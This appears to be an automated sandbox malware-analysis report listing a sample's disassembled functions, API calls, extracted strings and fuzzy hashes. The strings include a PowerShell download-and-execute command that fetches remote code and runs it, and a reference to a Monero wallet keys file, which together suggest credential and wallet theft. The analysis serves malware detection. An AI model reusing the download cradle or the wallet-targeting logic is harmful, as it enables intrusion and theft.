Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CB4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00CB4FD1
InternetOpenA.WININET(00CD0DDF,00000000,00000000,00000000,00000000), ref: 00CB4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00CB5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00CB5041
InternetCloseHandle.WININET(?), ref: 00CB50B9
InternetCloseHandle.WININET(?), ref: 00CB50C6

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 54cbb90657f0a5fe97106b835d5a40fd6e7b8c5d2d88650822785420e51941dd
Instruction ID: cc19a2d04fc09a36a9b90ecaea6ec2ea8ac06feaaa7c5a107839a16c2f532818
Opcode Fuzzy Hash: 54cbb90657f0a5fe97106b835d5a40fd6e7b8c5d2d88650822785420e51941dd
Instruction Fuzzy Hash: F431E6F4A40218ABDB20DF55DC85BECB7B4EB48704F1081E9EA09B7281D7706A85CF99

Function 00CC83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CC8426
wsprintfA.USER32 ref: 00CC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CC847B
RegCloseKey.ADVAPI32(00000000), ref: 00CC848C
RegCloseKey.ADVAPI32(00000000), ref: 00CC8499

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

RegQueryValueExA.ADVAPI32(00000000,0189E228,00000000,000F003F,?,00000400), ref: 00CC84EC
lstrlen.KERNEL32(?), ref: 00CC8501
RegQueryValueExA.ADVAPI32(00000000,0189E240,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00CD0B34), ref: 00CC8599
RegCloseKey.ADVAPI32(00000000), ref: 00CC8608
RegCloseKey.ADVAPI32(00000000), ref: 00CC861A

Strings

%s\%s, xrefs: 00CC844D

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c787b7b6a08e32b322afd57f22eb8746890d8ae9dcb587bbb9b5a103134e1b8d
Instruction ID: e155efad491be5256a33f9de10672484a87480dce7293b578c0a034cf277ab5a
Opcode Fuzzy Hash: c787b7b6a08e32b322afd57f22eb8746890d8ae9dcb587bbb9b5a103134e1b8d
Instruction Fuzzy Hash: A421EAB191021CAFDB24DB54DC85FE9B3B8FB48704F04C5A9E609A6180DF716A85CFD4

Function 00CC7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00CC76AB
RegOpenKeyExA.ADVAPI32(80000002,0188BD08,00000000,00020119,00000000), ref: 00CC76DD
RegQueryValueExA.ADVAPI32(00000000,0189E180,00000000,00000000,?,000000FF), ref: 00CC76FE
RegCloseKey.ADVAPI32(00000000), ref: 00CC7708

Strings

Windows 11, xrefs: 00CC76BD

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: fd4d995eccb5f7febc0438f4e63721bae5839003d18f5bab0f75f9886988ac1b
Instruction ID: 4b81ad294bfe91982021bec73afa36f379f22b3641244d6a51c758f1099f28df
Opcode Fuzzy Hash: fd4d995eccb5f7febc0438f4e63721bae5839003d18f5bab0f75f9886988ac1b
Instruction Fuzzy Hash: 820121F5A04208BFDB00DBA5DC4DF79B7B8EB88701F144169FA08EB290E6B09904CF51

Function 00CC7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7734
RtlAllocateHeap.NTDLL(00000000), ref: 00CC773B
RegOpenKeyExA.ADVAPI32(80000002,0188BD08,00000000,00020119,00CC76B9), ref: 00CC775B
RegQueryValueExA.ADVAPI32(00CC76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00CC777A
RegCloseKey.ADVAPI32(00CC76B9), ref: 00CC7784

Strings

CurrentBuildNumber, xrefs: 00CC7771

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: bed0ff1e996b4f7af1a7050402c47b3022889089b75e27dc943b8ce4f8ccae9b
Instruction ID: 48a78e34300c836708ac4106016e4967e00ad945b711bb6f9e345628d0cdd0dd
Opcode Fuzzy Hash: bed0ff1e996b4f7af1a7050402c47b3022889089b75e27dc943b8ce4f8ccae9b
Instruction Fuzzy Hash: A60121F5A40208BFD710DBE5DC4AFBEB7B8EB88700F104169FA09AB281D6B06604CB51

Function 00CB99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 5e7f1e8b176968bb835f52168a53cb430752372c4dcfb7789ac01f9e3ece3a45
Instruction ID: 2ace9821d659c722d9419afc8cd1bcb006ea11d3c8910edb18f6a2922f617f78
Opcode Fuzzy Hash: 5e7f1e8b176968bb835f52168a53cb430752372c4dcfb7789ac01f9e3ece3a45
Instruction Fuzzy Hash: 31312CB4A00209EFDB14CF95C885FEE77B5FF88740F108158E915AB290D778AA45DFA1

Function 00CC4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0189E390), ref: 00CC47DB

Part of subcall function 00CC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CC4801
lstrcat.KERNEL32(?,?), ref: 00CC4820
lstrcat.KERNEL32(?,?), ref: 00CC4834
lstrcat.KERNEL32(?,0188B860), ref: 00CC4847
lstrcat.KERNEL32(?,?), ref: 00CC485B
lstrcat.KERNEL32(?,0189D648), ref: 00CC486F

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CC8D90: GetFileAttributesA.KERNEL32(00000000,?,00CB1B54,?,?,00CD564C,?,?,00CD0E1F), ref: 00CC8D9F

Part of subcall function 00CC4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CC4580
Part of subcall function 00CC4570: RtlAllocateHeap.NTDLL(00000000), ref: 00CC4587
Part of subcall function 00CC4570: wsprintfA.USER32 ref: 00CC45A6
Part of subcall function 00CC4570: FindFirstFileA.KERNEL32(?,?), ref: 00CC45BD

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 5440d8bed88897a06b2fdfd8333e46e7bd633eb589d5eb386dd924c1cdcd6a1c
Instruction ID: ed625653c53c1cd4ea091483d6e8935dedda28fb2d99f8984d37d93e05ec3523
Opcode Fuzzy Hash: 5440d8bed88897a06b2fdfd8333e46e7bd633eb589d5eb386dd924c1cdcd6a1c
Instruction Fuzzy Hash: A63152B29002085BCB14FBA0DC8AFFA7378AB58700F444599F719A6091EEB4978DDB95

Function 00CC2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00CC2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00CC2CC4
')", xrefs: 00CC2CB3
<, xrefs: 00CC2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00CC2D04

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 729f6934da46ff17cf62e678059661bb4e269cd6e82acdb7b0159d348fbbe2bd
Instruction ID: ab3420beb3855e6f726ef401b5ee1919fc97865a3bbdc472fa12a2305b4cc24c
Opcode Fuzzy Hash: 729f6934da46ff17cf62e678059661bb4e269cd6e82acdb7b0159d348fbbe2bd
Instruction Fuzzy Hash: 1541EA71C1020C9BDB14EBA1C89AFEDBB74AF10304F50412DE116AA1D2EF742A4AEF91

Function 00CB9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00CB9F41

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Strings

@, xrefs: 00CB9EF1
v10, xrefs: 00CB9EA3
ERROR_RUN_EXTRACTOR, xrefs: 00CB9E67
v20, xrefs: 00CB9E21

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5279d02e904f8ed28032fd9f8f6af5af9d2844cf04b728e2f81b63066f02e6af
Instruction ID: fb93c0b93834a7f9e0c8c6a4adf7160f698cdcb3755916ca7a0dd3eb67bafc28
Opcode Fuzzy Hash: 5279d02e904f8ed28032fd9f8f6af5af9d2844cf04b728e2f81b63066f02e6af
Instruction Fuzzy Hash: 94613D71A0024CAFDB24EFA4DC9AFED77B5AF44304F448018F90A5F291DB746A06DB52

Function 00CC40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0189D808,00000000,00020119,?), ref: 00CC40F4
RegQueryValueExA.ADVAPI32(?,0189E2D0,00000000,00000000,00000000,000000FF), ref: 00CC4118
RegCloseKey.ADVAPI32(?), ref: 00CC4122
lstrcat.KERNEL32(?,00000000), ref: 00CC4147
lstrcat.KERNEL32(?,0189E2E8), ref: 00CC415B

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 767c3bb4ca90fa28714ce9f65801dc08ce4d12736a17d9e9f7af5629b7890ef5
Instruction ID: 20241415aa42e4c60ff72ac01163c442ed8dadacd5146afd97107726d6843701
Opcode Fuzzy Hash: 767c3bb4ca90fa28714ce9f65801dc08ce4d12736a17d9e9f7af5629b7890ef5
Instruction Fuzzy Hash: 2A418AF69001086BDB24EBA0EC56FFE777DA788300F44855CB6195B181EA755B8CCBA2

Function 00CC6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00CC696C
sscanf.NTDLL ref: 00CC6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CC69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CC69C0
ExitProcess.KERNEL32 ref: 00CC69DA

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 24fda212ddde58466cfb9ae282295da630c5ece577d9365c09871d90da02fcdc
Instruction ID: d2023cdb5045a0997a0b1d6b9ef8e4f39ec3887a9719ffc6705f0204a1a624dd
Opcode Fuzzy Hash: 24fda212ddde58466cfb9ae282295da630c5ece577d9365c09871d90da02fcdc
Instruction Fuzzy Hash: 0D21ECB5D00208AFCF08EFE5D949AEEB7B5BF48300F04852EE41AB7250EB745609CB65

Function 00CC7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00CC7E3E
